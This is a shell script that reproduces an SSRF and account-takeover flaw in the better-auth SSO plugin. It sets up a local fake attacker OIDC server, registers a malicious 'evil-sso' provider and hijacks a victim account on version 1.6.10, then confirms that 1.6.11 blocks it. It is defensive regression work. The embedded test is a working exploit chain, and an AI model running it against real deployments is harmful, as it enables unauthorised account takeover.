#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

cd "$ROOT"

# Determine project cache directory (durable) vs fallback
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // ""' "$ROOT/project_cache_context.json")
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/better-auth-sso"
fi
mkdir -p "$CACHE_DIR"

WORKDIR="$CACHE_DIR/repro"
mkdir -p "$WORKDIR"

VULN_DIR="$WORKDIR/vuln"
FIXED_DIR="$WORKDIR/fixed"
TEST_FILE="repro-sso-ssrf.test.ts"

VULN_VERSION="1.6.10"
FIXED_VERSION="1.6.11"

AUTH_PORT=3000
ATTACKER_PORT=9876

log() {
  echo "[repro] $*" | tee -a "$LOGS/reproduction_steps.log"
}

fail() {
  log "ERROR: $*"
  cat > "$REPRO_DIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/auth/sso/register -> /api/auth/sign-in/sso -> /api/auth/sso/callback/:providerId",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": ["node", "better-auth", "@better-auth/sso", "vitest"],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": "Failed: $*"
}
JSON
  exit 1
}

# Ensure node and npm are available
command -v node >/dev/null || fail "node not found"
command -v npm >/dev/null || fail "npm not found"

# Helper: install a version and run the test
run_version() {
  local dir="$1"
  local version="$2"
  local expect_success="$3" # true = vulnerable (should pass), false = fixed (should fail)
  local label="$4"

  log "Setting up $label version $version in $dir"
  mkdir -p "$dir"
  cd "$dir"

  if [ ! -f package.json ]; then
    npm init -y >/dev/null
    npm pkg set type=module
  fi

  if [ ! -d node_modules/better-auth ] || [ ! -d node_modules/@better-auth/sso ] || [ ! -d node_modules/vitest ]; then
    log "Installing better-auth@$version @better-auth/sso@$version vitest ..."
    npm install "better-auth@$version" "@better-auth/sso@$version" vitest --legacy-peer-deps >>"$LOGS/reproduction_steps.log" 2>&1 || fail "npm install failed for $label"
  fi

  # Write the test file
  cat > "$TEST_FILE" <<'TS'
import { createServer } from "node:http";
import { URL } from "node:url";
import { getTestInstance } from "better-auth/test";
import { sso } from "@better-auth/sso";
import { afterAll, beforeAll, describe, expect, it } from "vitest";

const AUTH_PORT = 3000;
const ATTACKER_PORT = 9876;

describe("SSO SSRF via real HTTP service", async () => {
  const { auth } = await getTestInstance({
    trustedOrigins: [`http://localhost:${AUTH_PORT}`],
    plugins: [sso({ trustEmailVerified: true })],
  });

  let authServer: ReturnType<typeof createServer>;
  let attackerServer: ReturnType<typeof createServer>;
  let attackerRequests: { method: string; url: string; body: string }[] = [];
  let baseURL = `http://localhost:${AUTH_PORT}`;

  beforeAll(async () => {
    authServer = createServer(async (req, res) => {
      try {
        const url = new URL(req.url || "/", baseURL);
        let body: Buffer | undefined;
        if (req.method && !["GET", "HEAD"].includes(req.method)) {
          const chunks: Buffer[] = [];
          for await (const chunk of req) chunks.push(chunk);
          body = Buffer.concat(chunks);
        }
        const request = new Request(url, {
          method: req.method,
          headers: req.headers as Record<string, string>,
          body,
        });
        const response = await auth.handler(request);
        res.statusCode = response.status;
        for (const [k, v] of response.headers.entries()) {
          res.setHeader(k, v);
        }
        if (response.body) {
          const reader = response.body.getReader();
          while (true) {
            const { done, value } = await reader.read();
            if (done) break;
            res.write(value);
          }
        }
        res.end();
      } catch (e) {
        console.error("auth handler error:", e);
        res.statusCode = 500;
        res.end("error");
      }
    });
    await new Promise<void>((resolve) => authServer.listen(AUTH_PORT, "127.0.0.1", resolve));

    attackerServer = createServer((req, res) => {
      let body = "";
      req.on("data", (c) => (body += c));
      req.on("end", () => {
        attackerRequests.push({ method: req.method || "GET", url: req.url || "/", body });
        const url = new URL(req.url || "/", `http://127.0.0.1:${ATTACKER_PORT}`);
        if (req.method === "GET" && url.pathname === "/authorize") {
          const redirectUri = url.searchParams.get("redirect_uri");
          const state = url.searchParams.get("state");
          const callback = new URL(redirectUri || `${baseURL}/api/auth/sso/callback/evil`);
          callback.searchParams.set("code", "attacker-code");
          if (state) callback.searchParams.set("state", state);
          res.writeHead(302, { Location: callback.toString() });
          res.end();
          return;
        }
        if (req.method === "POST" && url.pathname === "/token") {
          res.writeHead(200, { "Content-Type": "application/json" });
          res.end(JSON.stringify({ access_token: "attacker-access-token", token_type: "Bearer" }));
          return;
        }
        if (req.method === "GET" && url.pathname === "/userinfo") {
          res.writeHead(200, { "Content-Type": "application/json" });
          res.end(JSON.stringify({ sub: "attacker-sub", email: "victim@example.com", email_verified: true }));
          return;
        }
        if (req.method === "GET" && url.pathname === "/jwks") {
          res.writeHead(200, { "Content-Type": "application/json" });
          res.end(JSON.stringify({ keys: [] }));
          return;
        }
        res.writeHead(404);
        res.end("not found");
      });
    });
    await new Promise<void>((resolve) => attackerServer.listen(ATTACKER_PORT, "127.0.0.1", resolve));
  });

  afterAll(async () => {
    await Promise.all([
      new Promise<void>((resolve, reject) => authServer.close((err) => (err ? reject(err) : resolve()))),
      new Promise<void>((resolve, reject) => attackerServer.close((err) => (err ? reject(err) : resolve()))),
    ]);
  });

  async function req(path: string, init: RequestInit & { cookieJar?: string } = {}) {
    const url = `${baseURL}/api/auth${path}`;
    const headers = new Headers(init.headers);
    if (init.cookieJar) headers.set("cookie", init.cookieJar);
    const res = await fetch(url, { ...init, headers });
    const setCookie = res.headers.get("set-cookie") || "";
    const body = await res.json().catch(() => null);
    return { res, body, setCookie };
  }

  function extractCookie(name: string, setCookieHeader: string) {
    const match = setCookieHeader.match(new RegExp(`${name}=([^;]+)`));
    return match ? match[1] : "";
  }

  it("registers a malicious SSO provider and triggers SSRF + account takeover", async () => {
    // 1. Create victim user
    const victimSignUp = await req("/sign-up/email", {
      method: "POST",
      body: JSON.stringify({ email: "victim@example.com", password: "victim-password", name: "Victim" }),
      headers: { "Content-Type": "application/json" },
    });
    expect(victimSignUp.res.status).toBe(200);

    // 2. Sign in as attacker (test user)
    const attackerSignIn = await req("/sign-in/email", {
      method: "POST",
      body: JSON.stringify({ email: "test@test.com", password: "test123456" }),
      headers: { "Content-Type": "application/json" },
    });
    expect(attackerSignIn.res.status).toBe(200);
    const attackerSessionToken = extractCookie("better-auth.session_token", attackerSignIn.setCookie);
    const attackerCookieJar = `better-auth.session_token=${attackerSessionToken}`;

    // 3. Register malicious SSO provider
    const register = await req("/sso/register", {
      method: "POST",
      cookieJar: attackerCookieJar,
      body: JSON.stringify({
        providerId: "evil-sso",
        issuer: "http://127.0.0.1:9876",
        domain: "evil.com",
        oidcConfig: {
          clientId: "evil-client",
          clientSecret: "evil-secret",
          skipDiscovery: true,
          authorizationEndpoint: "http://127.0.0.1:9876/authorize",
          tokenEndpoint: "http://127.0.0.1:9876/token",
          userInfoEndpoint: "http://127.0.0.1:9876/userinfo",
          jwksEndpoint: "http://127.0.0.1:9876/jwks",
          discoveryEndpoint: "http://127.0.0.1:9876/.well-known/openid-configuration",
          mapping: { id: "sub", email: "email", emailVerified: "email_verified", name: "name", image: "picture" },
        },
      }),
      headers: { "Content-Type": "application/json" },
    });
    console.log("register response:", register.res.status, JSON.stringify(register.body, null, 2));
    expect(register.res.status).toBe(200);
    expect(register.body?.providerId).toBe("evil-sso");

    // 4. Initiate SSO login
    const signIn = await req("/sign-in/sso", {
      method: "POST",
      cookieJar: attackerCookieJar,
      body: JSON.stringify({ providerId: "evil-sso", callbackURL: "/dashboard" }),
      headers: { "Content-Type": "application/json" },
    });
    expect(signIn.res.status).toBe(200);
    const authUrl = signIn.body?.url;
    expect(authUrl).toContain("127.0.0.1:9876/authorize");
    const stateCookie = extractCookie("better-auth.state", signIn.setCookie);

    // 5. Visit authorize URL (real HTTP to attacker server), get redirect to callback
    const authorizeRes = await fetch(authUrl, { redirect: "manual" });
    expect(authorizeRes.status).toBe(302);
    const callbackLocation = authorizeRes.headers.get("location");
    expect(callbackLocation).toContain("/api/auth/sso/callback/evil-sso");

    // 6. Visit callback (real HTTP to auth server)
    const callbackRes = await fetch(callbackLocation, {
      redirect: "manual",
      headers: { cookie: `${attackerCookieJar}; better-auth.state=${stateCookie}` },
    });
    console.log("callback status:", callbackRes.status, "location:", callbackRes.headers.get("location"));
    expect(callbackRes.status).toBe(302);
    const finalLocation = callbackRes.headers.get("location") || "";
    expect(finalLocation).not.toContain("error=");

    // 7. Capture session cookie from callback and check session
    const callbackSetCookie = callbackRes.headers.get("set-cookie") || "";
    const sessionToken = extractCookie("better-auth.session_token", callbackSetCookie);
    const session = await req("/get-session", {
      cookieJar: `better-auth.session_token=${sessionToken}`,
    });
    console.log("session:", JSON.stringify(session.body, null, 2));
    expect(session.body?.user?.email).toBe("victim@example.com");

    console.log("attacker requests:", JSON.stringify(attackerRequests, null, 2));
    expect(attackerRequests.some((r) => r.url === "/token" && r.method === "POST")).toBe(true);
    expect(attackerRequests.some((r) => r.url === "/userinfo" && r.method === "GET")).toBe(true);
  });
});
TS

  log "Running vitest for $label (expect pass=$expect_success) ..."
  set +e
  npx vitest run "$TEST_FILE" >"$LOGS/${label}-test.log" 2>&1
  local exit_code=$?
  set -e

  cd "$ROOT"

  if [ "$expect_success" = "true" ]; then
    if [ $exit_code -ne 0 ]; then
      log "Vulnerable test FAILED (exit $exit_code) - see $LOGS/${label}-test.log"
      return 1
    fi
    log "Vulnerable test PASSED"
  else
    if [ $exit_code -eq 0 ]; then
      log "Fixed test unexpectedly PASSED - vulnerability not patched?"
      return 1
    fi
    log "Fixed test failed as expected (patch working) - see $LOGS/${label}-test.log"
  fi

  # Extract key lines from log for the manifest
  grep -E "register response:|callback status:|session:|attacker requests:|/token|/userinfo" "$LOGS/${label}-test.log" >>"$LOGS/reproduction_steps.log" || true

  return 0
}

log "=== Better-Auth SSO SSRF Reproduction ==="
log "Workspace: $WORKDIR"


# Run vulnerable version
if ! run_version "$VULN_DIR" "$VULN_VERSION" "true" "vuln"; then
  fail "Vulnerable version $VULN_VERSION did not reproduce the issue"
fi

# Run fixed version
if ! run_version "$FIXED_DIR" "$FIXED_VERSION" "false" "fixed"; then
  fail "Fixed version $FIXED_VERSION unexpectedly behaved like vulnerable"
fi

log "=== Reproduction complete: vulnerable SSRF + account takeover confirmed, fixed version blocked ==="

# Write runtime manifest
jq -n \
  --arg entrypoint "endpoint" \
  --arg detail "POST /api/auth/sso/register -> /api/auth/sign-in/sso -> /api/auth/sso/callback/:providerId" \
  --argjson started true \
  --argjson health true \
  --argjson reached true \
  --argjson stack '["node","better-auth","@better-auth/sso","vitest"]' \
  --argjson artifacts '["logs/reproduction_steps.log","logs/vuln-test.log","logs/fixed-test.log"]' \
  '{
    entrypoint_kind: $entrypoint,
    entrypoint_detail: $detail,
    service_started: $started,
    healthcheck_passed: $health,
    target_path_reached: $reached,
    runtime_stack: $stack,
    proof_artifacts: $artifacts,
    notes: "Vulnerable @better-auth/sso 1.6.10 accepted private OIDC endpoints, performed server-side fetches to attacker /token and /userinfo, and linked attacker to existing victim@example.com account. Fixed 1.6.11 rejected registration with discovery_private_host."
  }' > "$REPRO_DIR/runtime_manifest.json"

exit 0